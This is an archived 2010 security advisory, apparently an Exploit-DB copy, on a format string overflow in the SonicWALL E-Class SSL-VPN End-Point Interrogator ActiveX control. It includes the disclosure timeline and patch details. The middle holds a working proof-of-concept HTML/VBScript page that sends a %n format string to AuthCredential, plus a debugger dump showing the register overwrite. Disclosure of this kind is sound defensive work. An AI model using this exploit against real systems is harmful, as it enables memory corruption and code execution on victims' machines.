SonicWALL E-Class SSL-VPN - ActiveX Control Format String Overflow

EDB-ID:

14687

CVE:





Platform:

Windows

Date:

2010-08-19


-------------------------- NSOADV-2010-005 ---------------------------

   SonicWALL E-Class SSL-VPN ActiveX Control format string overflow
______________________________________________________________________
______________________________________________________________________

                               111101111
                        11111 00110 00110001111
                   111111 01 01 1 11111011111111
                11111  0 11 01 0 11 1 1  111011001
             11111111101 1 11 0110111  1    1111101111
           1001  0 1 10 11 0 10 11 1111111  1 111 111001
         111111111 0 10 1111 0 11 11 111111111 1 1101 10
        00111 0 0 11 00 0 1110 1 1011111111111 1111111 11  100
       10111111 0 01 0  1 1 111110 11 1111111111111  11110000011
       0111111110 0110 1110 1 0 11101111111111111011 11100  00
       01111 0 10 1110 1 011111 1 111111111111111111111101 01
       01110 0 10 111110 110 0 11101111111111111111101111101
      111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111
      111110110 10 0111110 1 0 0 1111111111111111111111111 110
    111 11111 1  1 111 1   10011 101111111111011111111 0   1100
   111 10  110 101011110010   11111111111111111111111 11 0011100
   11 10     001100     0001      111111111111111111 10 11 11110
  11110       00100      00001     10 1  1111  101010001 11111111
  11101        0  1011     10000    00100 11100        00001101 0
  0110         111011011             0110   10001        101 11110
  1011                 1             10 101   000001        01   00
   1010 1                              11001      1 1        101  10
      110101011                          0 101                 11110
            110000011
                      111
______________________________________________________________________
______________________________________________________________________

  Title:                  SonicWALL E-Class SSL-VPN ActiveX Control
                          format string overflow
  Severity:               High
  Advisory ID:            NSOADV-2010-005
  Found Date:             22.02.2010
  Date Reported:          09.06.2010
  Release Date:           19.08.2010
  Author:                 Nikolas Sotiriu
  Website:                http://sotiriu.de
  Twitter:                http://twitter.com/nsoresearch
  Mail:                   nso-research at sotiriu.de
  URL:                    http://sotiriu.de/adv/NSOADV-2009-005.txt
  Vendor:                 SonicWALL (http://www.sonicwall.com/)
  Affected Products:      SonicWALL SRA EX1600
                          SonicWALL EX7000
                          SonicWALL EX6000
                          SonicWALL EX-1600
                          SonicWALL EX-1500
                          SonicWALL EX-750
  Affected Versions:      10.0.4 and all previous versions
                          10.5.1 without hotfix
  Remote Exploitable:     Yes
  Local Exploitable:      No
  Patch Status:           Vendor released a patch
  Discovered by:          Nikolas Sotiriu
  Disclosure Policy:      http://sotiriu.de/policy.html
  Thanks to:              Thierry Zoller: For the permission to use his
                                          Policy



Background:
===========

SonicWALL has added the award-winning Aventail SSL VPN  product line to
our E-Class SRA appliances. Aventail's best-of-breed SSL VPNs deliver
secure remote access to the most resources from the most end point
locations. Aventail was named in the Visionaries Quadrant in the SSL
VPN Magic Quadrant Report from Gartner, considered to be the leading
analyst firm covering the SSL VPN industry.

(Product description from Website)



Description:
============

Remote exploitation of a format string overflow vulnerability in the
End-Point Interrogator/Installer ActiveX Control could allow an attacker
to execute arbitrary code within the security context of the targeted
user.

The affected function is "AuthCredential". The functions
"ConfigurationString" seems to be also vulnerable, but the format
string has to be base64 decoded.

Name:             End-Point Interrogator/Installer Module
Vendor:           Aventail Corporation
Type:             ActiveX-Control
Version:          10.3.42
Prog ID:          EPILib.EPInterrogator
GUID:             {2A1BE1E7-C550-4D67-A553-7F2D3A39233D}
File:             epi.dll
Folder:           %userprofile%\Application Data\Aventail\epi
Safe for Script:  True
Safe for Init:    True



Proof of Concept :
==================

<html>
 <head>
  <title>SonicWALL E-Class SSL-VPN ActiveX Control DoS PoC</title>
 </head>
<body>
<pre>
<img src="http://sotiriu.de/images/logo_wh_80.png";>

<input type=button name="Submit" VALUE="Rule #5 – Shoot First">


</pre>

<object classid='clsid:2A1BE1E7-C550-4D67-A553-7F2D3A39233D'
id='obj'></object>

<script language='vbscript'>

Sub Submit_OnClick
        eax=String(2, unescape("%u6161"))
        arg="%1862x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
        'EAX 61616161

        buf=eax+arg

        obj.AuthCredential = buf
End Sub

</script>
</body>
</html>



Notes:
======

The Exploit overwrites the EAX register with 0x61616161.

EAX 61616161
ECX 000007F2
EDX 00000000
EBX FFFF006E
ESP 01929AE4
EBP 01929F54
ESI 00000020
EDI 00000002
EIP 77C1391B msvcrt.77C1391B
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD8000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty +UNORM 1C68 00000000 E162AA10
ST1 empty 7.5918347351318302720e-1715
ST2 empty +UNORM 001C 7779065D E19F4F1C
ST3 empty 3.4653990691284428800e+1178
ST4 empty 0.0000000000840901890e-4933
ST5 empty -??? FFFF 00000000 00000000
ST6 empty 6.4564231821671188480e-4932
ST7 empty 1.0000000000000000000
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

The function where the exception occurs looks like this:

77C1391B   8908             MOV DWORD PTR DS:[EAX],ECX



Solution:
=========

Version 10.0.5:
+--------------

Download the new version on www.mysonicwall.com

Version 10.5.1:
+--------------

SonicWALL Security Advisory:
http://www.sonicwall.com/us/support/kb.asp?kbid=8272



Disclosure Timeline (YYYY/MM/DD):
=================================

2010.02.22: Vulnerability found
2010.06.08: Ask on full-disc for a SonicWALL security contact
2010.06.09: Initial contact by info () sonicwall and germany () sonicwall
            email address
2010.06.09: Initial Vendor response by phone from a german SonicWALL SE
2010.06.09: Got an email from SonicWALL as a response to my mail to
            full-disc with the contact email address
            security () sonicwall com
2010.06.10: Sent the Notification and Disclosure Policy and ask for a
            PGP Key
            [-] No Response
2010.06.18: Got an email response from the SonicWALL SSL-VPN Product
            Manager with a PGP key.
2010.06.19: Sent PoC, Advisory, Disclosure policy and planned disclosure
            date (2010.06.24) to Vendor
2010.06.19: SonicWALL acknowledges the reception of the advisory
2010.06.22: Vendor verifies the vulnerability
2010.07.07: Ask for a status update, because the planned release date
            was the 2010.06.24
2010.07.07: SonicWALL informs me that they will release a new version
            at end of July.
2010.07.07: Changed release date to 2010.07.29
2010.07.29: Ask for a status update, because the planned release date
            is the 2010.07.29
2010.07.29: SonicWALL informs me that the version 10.0.5 is in final QA
            and should be released next week.
2010.08.13: Send SonicWALL the information, that i will release the
            advisory at Wednesday 2010.08.18.
2010.08.16: SonicWALL informs me that the version 10.0.5 is already
            downloadable for customers.
2010.08.16: Ask for an SonicWALL advisory and a list of affected
            products
2010.08.17: SonicWALL sends me there advisory draft
2010.08.18: Ask SonicWALL for credits in there advisory
2010.08.19: Release of this advisory